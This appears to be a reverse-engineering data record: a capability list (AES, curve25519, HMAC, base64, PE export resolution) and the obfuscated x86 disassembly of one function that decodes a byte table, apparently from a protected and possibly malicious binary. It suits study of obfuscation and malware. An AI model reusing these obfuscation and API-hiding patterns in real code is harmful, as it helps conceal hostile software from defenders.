Function at 0x40fd60
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using aes mixcolumns step
Encrypt data using curve25519
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x80
mov dword [ebp - 0x8c], ecx
cmp dword [0x4765a4], 0
jne 0x419122
mov bl, byte [0x473070]
mov al, bl
xor al, 0xaa
mov dl, al
xor dl, 0xff
and dl, 0x17
and al, 0xe8
or dl, al
xor dl, 0xe8
and dl, 0xaa
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x4e
sub al, 0xaa
add al, 0x4e
sub bl, al
mov byte [0x4730f0], bl
mov al, byte [0x473071]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x63
xor dl, 0xff
and al, 0x9c
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
or dl, al
mov byte [0x4730f1], dl
mov al, byte [0x473072]
xor al, 0x2a
mov byte [0x4730f2], al
mov al, byte [0x473073]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x3d
and al, 0x3d
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4730f3], cl
mov al, byte [0x473074]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0xe5
and al, 0x1a
mov cl, dl
and cl, al
xor dl, al
or cl, dl
mov byte [0x4730f4], cl
mov al, byte [0x473075]
xor al, 0x62
mov byte [0x4730f5], al
mov al, byte [0x473076]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xb4
xor dl, 0xff
xor al, 0xff
or al, 0xb4
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4730f6], dl
mov cl, byte [str.tX9_]
mov dl, cl
and dl, 0x61
mov al, dl
xor al, 0xff
mov ch, al
and ch, 2
or al, 2
xor al, 0xff
mul ch
mov dh, al
mov ch, dl
and ch, 2
or dl, 2
mov al, dl
mul ch
add al, dh
xor ebx, ebx
sub bl, cl
add bl, 0x9f
xor edx, edx
sub dl, bl
xor ecx, ecx
sub cl, al
add dl, cl
mov byte [0x4730f7], dl
mov al, byte [0x473078]
mov cl, al
and cl, 0x4e
shl cl, 1
add al, 0x4e
sub al, cl
mov byte [0x4730f8], al
mov al, byte [0x473079]
xor al, 0x2f
mov byte [0x4730f9], al
mov al, byte [0x47307a]
xor al, 0x3f
mov byte [0x4730fa], al
mov cl, byte [0x47307b]
mov al, cl
xor al, 0xff
mov dl, al
xor dl, 0xb2
xor dl, 0xff
or al, 0xb2
and al, dl
mov dl, cl
xor dl, 0xb2
and dl, cl
or al, dl
mov cl, al
and cl, 0x8f
shl cl, 1
add al, 0x8f
sub al, cl
mov byte [0x4730fb], al
mov al, byte [0x47307c]
xor al, 0xf7
mov byte [0x4730fc], al
mov cl, byte [0x47307d]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 5
xor al, 0xff
xor cl, 0xff
or cl, 5
and al, cl
xor al, 0xff
mov byte [0x4730fd], al
mov cl, byte [0x47307e]
mov al, cl
xor al, 0xff
and al, 0x9a
and cl, 0x65
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov cl, al
xor cl, 0xb4
xor cl, 0xff
and cl, 0xb4
shl cl, 1
sub cl, 0xb4
sub al, cl
mov byte [0x4730fe], al
mov al, byte [0x47307f]
xor al, 0x2f
mov byte [0x4730ff], al
mov al, byte [0x473080]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov ah, dl
xor ah, 0xff
or ah, 0xf9
xor dl, 0xff
or dl, 0xf9
xor ah, 0xff
xor dl, 0xff
or ah, dl
and al, 0xf9
or ah, al
mov byte [0x473100], ah
mov al, byte [0x473081]
mov cl, al
xor cl, 0xff
and cl, 0x18
and al, 0xe7
or cl, al
xor cl, 0x15
mov byte [0x473101], cl
mov al, byte [0x473082]
mov cl, al
and cl, 0xf
shl cl, 1
add al, 0xf
sub al, cl
mov byte [0x473102], al
mov al, byte [0x473083]
mov cl, al
xor cl, 0x1f
xor cl, 0xff
and cl, 0x1f
shl cl, 1
sub cl, 0x1f
sub al, cl
mov byte [0x473103], al
mov al, byte [0x473084]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x69
xor dl, 0xff
or al, 0x96
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x473104], dl
mov al, byte [0x473085]
mov cl, al
and cl, 0x8a
shl cl, 1
add al, 0x8a
sub al, cl
mov byte [str.__NG], al
mov al, byte [0x473086]
xor al, 0xd4
mov byte [0x473106], al
mov cl, byte [0x473087]
mov al, cl
xor al, 0xff
and al, 0x7c
and cl, 0x83
and al, al
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0x8c
mov byte [0x473107], al
mov dl, byte [str.wo_R]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xd5
or dl, 0xd5
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
or al, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
mov byte [0x473108], cl
mov al, byte [0x473089]
mov cl, al
xor cl, 0xff
and cl, 0x90
and al, 0x6f
or cl, al
mov byte [0x473109], cl
mov cl, byte [0x47308a]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0x1b
and al, 0x1b
and cl, 0xe4
or al, cl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x75
xor al, 0xff
and al, 0x8a
or dl, al
xor dl, 0xff
mov byte [0x47310a], dl
mov al, byte [0x47308b]
mov cl, al
xor cl, 0xff
and cl, 0x76
and al, 0x89
or cl, al
mov byte [0x47310b], cl
mov al, byte [0x47308c]
mov dl, al
xor dl, 0x38
xor dl, 0xff
xor dl, 0xff
or dl, 0xc7
xor dl, 0xff
and dl, 0xff
shl dl, 1
add dl, 0xa7
sub dl, 0x38
sub dl, 0xa7
sub al, dl
mov byte [0x47310c], al
mov dl, byte [0x47308d]
mov al, dl
and al, al
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
or al, 0xb4
and dl, 0xb4
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x47310d], al
mov bl, byte [0x47308e]
mov dl, bl
and dl, 0xfe
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xfe
sub bl, al
mov byte [0x47310e], bl
mov al, byte [0x47308f]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
xor cl, 0xff
or ah, cl
and dl, dl
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 0x92
and ah, 0x6d
or dl, ah
xor dl, 0x6d
or dl, 0xf9
mov ah, al
xor ah, 0xff
xor al, 0xff
and ah, al
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
mov al, ah
and al, 6
xor ah, 6
or al, ah
and dl, al
xor dl, 0xff
mov byte [0x47310f], dl
mov al, byte [0x473090]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
mov cl, al
and cl, cl
xor cl, 0xff
xor ah, 0xff
xor cl, 0xff
or ah, cl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0xee
xor dl, 0xff
xor al, 0xff
and al, 0xee
xor dl, 0xff
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
and dl, al
mov byte [0x473110], dl
mov al, byte [0x473091]
xor al, 0xa9
mov byte [0x473111], al
mov al, byte [0x473092]
mov cl, al
xor cl, 0x59
xor cl, 0xff
and cl, 0x59
shl cl, 1
sub cl, 0x59
sub al, cl
mov byte [0x473112], al
mov bl, byte [0x473093]
mov al, bl
xor al, 0x41
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0x41
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x41
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x473113], bl
mov bl, byte [0x473094]
mov dl, bl
and dl, 0x2b
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x2b
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x473114], bl
mov al, byte [0x473095]
mov cl, al
xor cl, 0xff
and cl, 0x99
and al, 0x66
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
mov byte [0x473115], cl
mov al, byte [0x473096]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x12
and al, 0x12
mov cl, al
xor cl, 0xff
and cl, 0xd8
and al, 0x27
or cl, al
xor cl, 0x27
and dl, cl
xor dl, 0xff
mov byte [0x473116], dl
mov cl, byte [0x473097]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x91
xor al, 0xff
xor cl, 0xff
or cl, 0x91
and al, cl
xor al, 0xff
mov byte [0x473117], al
mov al, byte [0x473098]
xor al, 0xb2
mov byte [0x473118], al
mov bl, byte [0x473099]
mov dl, bl
xor dl, 0xc8
xor dl, 0xff
and dl, 0xc8
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0xc8
and al, 0x37
shl al, 1
sub al, cl
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x473119], bl
mov al, byte [0x47309a]
mov cl, al
xor cl, 0x6b
xor cl, 0xff
and cl, 0x6b
shl cl, 1
sub cl, 0x6b
sub al, cl
mov byte [0x47311a], al
mov al, byte [0x47309b]
mov cl, al
xor cl, 0xff
and cl, 0xea
and al, 0x15
or cl, al
mov byte [0x47311b], cl
mov al, byte [0x47309c]
mov cl, al
xor cl, 0xff
and cl, 0xde
and al, 0x21
or cl, al
mov byte [0x47311c], cl
mov dl, byte [0x47309d]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xbc
and dl, 0x43
or al, dl
mov cl, al
xor cl, 7
xor cl, 0xff
and cl, 7
shl cl, 1
sub cl, 7
sub al, cl
mov byte [0x47311d], al
mov al, byte [0x47309e]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x7c
xor dl, 0xff
shl dl, 1
add al, 0x83
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x47311e], al
mov al, byte [0x47309f]
mov cl, al
and cl, 0xe0
shl cl, 1
add al, 0xe0
sub al, cl
mov byte [0x47311f], al
mov al, byte [0x4730a0]
xor al, 0x17
mov byte [0x473120], al
mov al, byte [0x4730a1]
mov dl, al
xor dl, 0xb
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0xb
shl dl, 1
sub dl, 0xb
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x473121], al
mov al, byte [0x4730a2]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xd7
xor cl, 0xff
and al, 0x28
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x473122], cl
mov dl, byte [0x4730a3]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
and cl, 0x69
mov ah, al
xor ah, 0x96
add al, ah
sub al, cl
and dl, 0x96
xor dl, 0xff
or al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or al, cl
xor al, 0xff
xor al, 0xff
mov byte [0x473123], al
mov al, byte [0x4730a4]
mov cl, al
xor cl, 0xe3
xor cl, 0xff
and cl, 0xe3
shl cl, 1
sub cl, 0xe3
sub al, cl
mov byte [0x473124], al
mov al, byte [0x4730a5]
mov dl, al
and dl, 0xa4
shl dl, 1
sub al, 0xa2
add al, 0xa4
add al, 0xa2
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x473125], al
mov al, byte [0x4730a6]
mov cl, al
xor cl, 0xff
and cl, 0x14
and al, 0xeb
or cl, al
xor cl, 0x86
mov byte [0x473126], cl
mov al, byte [0x4730a7]
xor al, 0xd6
mov byte [0x473127], al
mov al, byte [0x4730a8]
xor al, 0x1b
mov byte [0x473128], al
mov al, byte [0x4730a9]
xor al, 0x1e
mov byte [0x473129], al
mov al, byte [0x4730aa]
mov cl, al
and cl, 0xd6
shl cl, 1
add al, 0xd6
sub al, cl
mov byte [0x47312a], al
mov bl, byte [0x4730ab]
mov al, bl
xor al, 0xe6
xor al, 0xff
mov dl, bl
or dl, 0xe6
and dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0x68
add bl, 0xe6
add bl, 0x68
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x47312b], bl
mov al, byte [0x4730ac]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x55
xor al, 0xff
and al, 0xaa
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47312c], dl
mov al, byte [0x4730ad]
xor al, 0x4e
mov byte [0x47312d], al
mov al, byte [0x4730ae]
xor al, 0xf9
mov byte [0x47312e], al
mov al, byte [0x4730af]
mov cl, al
or cl, cl
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and dl, 0x14
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xeb
add al, cl
xor dl, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
xor ah, 0xff
or cl, ah
xor dl, 0xff
xor al, 0xff
or dl, al
and cl, dl
xor cl, 0xff
mov byte [str.O_yN_b_tu], cl
mov al, byte [0x4730b0]
mov cl, al
xor cl, 0x4d
xor cl, 0xff
and cl, 0x4d
shl cl, 1
sub cl, 0x4d
add al, 0x77
sub al, cl
sub al, 0x77
mov byte [0x473130], al
mov al, byte [0x4730b1]
mov cl, al
xor cl, 0xff
and cl, 0x60
and al, 0x9f
or cl, al
xor cl, 0x60
mov byte [0x473131], cl
mov al, byte [0x4730b2]
xor al, 0x1b
mov byte [0x473132], al
mov al, byte [0x4730b3]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xcd
xor cl, 0xff
or al, 0x32
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x473133], cl
mov al, byte [0x4730b4]
mov cl, al
and cl, 0x1a
shl cl, 1
add al, 0x1a
sub al, cl
mov byte [0x473134], al
mov bl, byte [0x4730b5]
mov dl, bl
xor dl, 0xff
or dl, 0x2f
mov al, bl
xor al, 0xff
or al, 0x2f
and dl, al
xor dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xd0
sub bl, al
mov byte [0x473135], bl
mov cl, byte [0x4730b6]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x3e
xor al, 0xff
xor cl, 0xff
and cl, 0x3e
or al, cl
xor al, 0xff
mov byte [0x473136], al
mov bl, byte [0x4730b7]
mov al, bl
xor al, 0xa8
xor al, 0xff
mov dl, al
xor dl, 0xff
or dl, 0x57
and al, 0xa8
xor al, 0xff
and dl, al
xor dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xa8
sub bl, al
mov byte [0x473137], bl
mov al, byte [0x4730b8]
mov cl, al
and cl, 0xde
shl cl, 1
add al, 0xde
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x473138], al
mov al, byte [0x4730b9]
xor al, 0xb7
mov byte [0x473139], al
mov al, byte [0x4730ba]
mov cl, al
xor cl, 0xf9
xor cl, 0xff
and cl, 0xf9
shl cl, 1
add cl, 0xc1
sub cl, 0xf9
sub cl, 0xc1
sub al, cl
mov byte [0x47313a], al
mov al, byte [0x4730bb]
xor al, 0xbb
mov byte [0x47313b], al
mov al, byte [0x4730bc]
xor al, 0x8b
mov byte [0x47313c], al
mov al, byte [0x4730bd]
mov dl, al
xor dl, 0xa6
xor dl, 0xff
mov cl, dl
xor cl, 0xa6
xor cl, 0xff
or dl, 0xa6
and dl, cl
shl dl, 1
sub dl, 0xa6
add al, 0x46
sub al, dl
sub al, 0x46
mov byte [0x47313d], al
mov dl, byte [0x4730be]
mov al, dl
and al, al
mov cl, dl
xor cl, cl
or al, cl
xor al, 0xff
xor al, 0xff
and al, 0x56
mov cl, dl
and cl, 0x56
xor dl, 0x56
or cl, dl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
mov byte [0x47313e], al
mov al, byte [0x4730bf]
mov cl, al
and cl, 0xa5
shl cl, 1
add al, 0x20
add al, 0xa5
sub al, 0x20
sub al, cl
mov byte [0x47313f], al
mov dl, byte [0x4730c0]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xf1
mov ah, dl
and ah, 0xe
or cl, ah
xor cl, 0xe
or al, cl
and al, 0x21
xor al, 0xff
xor dl, 0xff
or dl, 0x21
and al, dl
xor al, 0xff
mov byte [0x473140], al
mov al, byte [0x4730c1]
mov cl, al
xor cl, 0xff
and cl, 0xa
and al, 0xf5
or cl, al
mov byte [0x473141], cl
mov al, byte [0x4730c2]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x3d
xor dl, 0xff
and al, 0xc2
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x473142], dl
mov al, byte [0x4730c3]
mov cl, al
xor cl, 0xdd
xor cl, 0xff
and cl, 0xdd
shl cl, 1
sub cl, 0xdd
sub al, cl
mov byte [0x473143], al
mov bl, byte [0x4730c4]
mov dl, bl
xor dl, 0x86
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
and dl, 0x86
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x86
add bl, 0x4c
sub bl, al
sub bl, 0x4c
mov byte [0x473144], bl
mov al, byte [0x4730c5]
xor al, 0x60
mov byte [0x473145], al
mov al, byte [0x4730c6]
mov cl, al
xor cl, 0xff
and cl, 7
and al, 0xf8
or cl, al
xor cl, 0x95
mov byte [0x473146], cl
mov al, byte [0x4730c7]
mov cl, al
or cl, cl
xor cl, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0x2b
and cl, 0xd4
or dl, cl
xor dl, 0xd4
xor dl, 0xff
or dl, 0x87
xor dl, 0xff
and dl, 0xff
or al, 0x78
xor al, 0xff
xor dl, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and dl, al
mov byte [0x473147], dl
mov al, byte [0x4730c8]
xor al, 0x9a
mov byte [0x473148], al
mov bl, byte [0x4730c9]
mov al, bl
xor al, 0xb2
mov dl, al
xor dl, 0xff
and dl, 0x17
and al, 0xe8
or dl, al
xor dl, 0xe8
and dl, 0xb2
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x26
sub al, 0xb2
sub al, 0x26
sub bl, al
mov byte [0x473149], bl
mov al, byte [0x4730ca]
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor al, 0xff
xor al, 0xff
and al, 0xff
mov cl, al
or cl, 0
xor cl, 0xff
or al, 0
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
xor cl, 0x92
mov byte [0x47314a], cl
mov al, byte [0x4730cb]
xor al, 0x12
mov byte [0x47314b], al
mov al, byte [0x4730cc]
xor al, 0x6b
mov byte [0x47314c], al
mov al, byte [0x4730cd]
xor al, 0x19
mov byte [0x47314d], al
mov cl, byte [0x4730ce]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xd7
and cl, 0xd7
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47314e], al
mov bl, byte [0x4730cf]
mov dl, bl
xor dl, 0x5c
xor dl, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x5c
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x5c
sub bl, al
mov byte [0x47314f], bl
mov cl, byte [0x4730d0]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x56
xor al, 0xff
and cl, 0xa9
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x473150], al
mov al, byte [0x4730d1]
mov cl, al
and cl, 0xf0
shl cl, 1
sub al, 0x10
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x473151], al
mov al, byte [0x4730d2]
xor al, 0xe1
mov byte [0x473152], al
mov al, byte [0x4730d3]
mov cl, al
xor cl, 0xff
and cl, 0x34
and al, 0xcb
or cl, al
xor cl, 0x45
mov byte [0x473153], cl
mov al, byte [0x4730d4]
xor al, 0x7e
mov byte [0x473154], al
mov al, byte [0x4730d5]
xor al, 0xb9
mov byte [str.pQ], al
mov al, byte [0x4730d6]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
and dl, dl
xor dl, 0xff
and cl, cl
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x6f
xor dl, 0xff
and al, 0x90
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x473156], dl
mov al, byte [0x4730d7]
xor al, 0x20
mov byte [0x473157], al
mov bl, byte [0x4730d8]
mov dl, bl
xor dl, 0x71
and dl, bl
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x8e
add bl, 0x58
sub bl, al
sub bl, 0x58
mov byte [0x473158], bl
mov al, byte [0x4730d9]
xor al, 0x54
mov byte [0x473159], al
mov al, byte [0x4730da]
mov dl, al
or dl, dl
xor dl, 0xff
mov cl, al
or cl, cl
xor cl, 0xff
or dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x2b
mov ah, dl
xor ah, 0xff
and ah, 0xde
and dl, 0x21
or ah, dl
xor ah, 0x21
or al, 0xd4
xor al, 0xff
or ah, al
xor ah, 0xff
mov byte [0x47315a], ah
mov bl, byte [0x4730db]
mov dl, bl
xor dl, 0xff
and dl, 0x4a
mov al, bl
and al, 0xb5
or dl, al
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
xor dl, 0xff
xor dl, 0x4a
and dl, 0x4a
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0xb5
add al, 1
sub bl, al
mov byte [0x47315b], bl
mov al, byte [0x4730dc]
xor al, 0xb3
mov byte [0x47315c], al
mov al, byte [0x4730dd]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
or dl, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0xd
xor al, 0xff
or al, 0xf2
xor al, 0xff
and al, 0xff
xor al, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov cl, al
and cl, dl
xor cl, 0xff
add dl, al
add dl, 1
add dl, cl
mov byte [0x47315d], dl
mov al, byte [0x4730de]
mov dl, al
xor dl, 0x80
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or dl, dl
xor dl, 0xff
or dl, 0x7f
xor dl, 0xff
shl dl, 1
add dl, 0x7f
add dl, 1
add al, 0xee
sub al, dl
sub al, 0xee
mov byte [0x47315e], al
mov al, byte [0x4730df]
xor al, 0xac
mov byte [0x47315f], al
mov al, byte [0x4730e0]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and ah, ah
xor ah, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and ah, dl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0x89
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
mov cl, al
and cl, 0x89
xor cl, 0xff
add al, 0x89
add al, 1
add al, cl
and dl, al
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
mov byte [0x473160], dl
mov al, byte [0x4730e1]
xor al, 0x7a
mov byte [0x473161], al
mov al, byte [0x4730e2]
xor al, 0x16
mov byte [0x473162], al
mov al, byte [0x4730e3]
xor al, 0x14
mov byte [0x473163], al
mov al, byte [0x4730e4]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x70
xor dl, 0xff
or al, 0x8f
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x473164], dl
mov cl, byte [0x4730e5]
mov al, cl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0xbf
mov dl, cl
xor dl, 0xbf
and dl, cl
or al, dl
mov cl, al
xor cl, 0x5a
xor cl, 0xff
and cl, 0x5a
shl cl, 1
sub cl, 0x5a
sub al, cl
mov byte [0x473165], al
mov bl, byte [0x4730e6]
mov dl, bl
and dl, 0x92
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x92
sub bl, al
mov byte [0x473166], bl
mov ah, byte [0x4730e7]
mov dh, ah
xor dh, 0xff
and dh, 0x42
and ah, 0xbd
mov al, dh
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov dl, al
and dl, 0xf7
and dh, 8
mov cl, bl
and cl, 0xf7
and ah, 8
or dl, dh
or cl, ah
xor dl, cl
or al, bl
xor al, 0xff
and al, 0xff
or dl, al
mov byte [0x473167], dl
mov al, byte [0x4730e8]
mov cl, al
xor cl, 0xd9
xor cl, 0xff
and cl, 0xd9
shl cl, 1
sub cl, 0xd9
sub al, cl
mov byte [0x473168], al
mov cl, byte [0x4730e9]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xf8
xor al, 0xff
or cl, 7
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x473169], al
mov al, byte [0x4730ea]
mov cl, al
and cl, 0x60
shl cl, 1
mov dl, al
and dl, 0x60
or al, 0x60
add dl, al
sub dl, cl
mov byte [0x47316a], dl
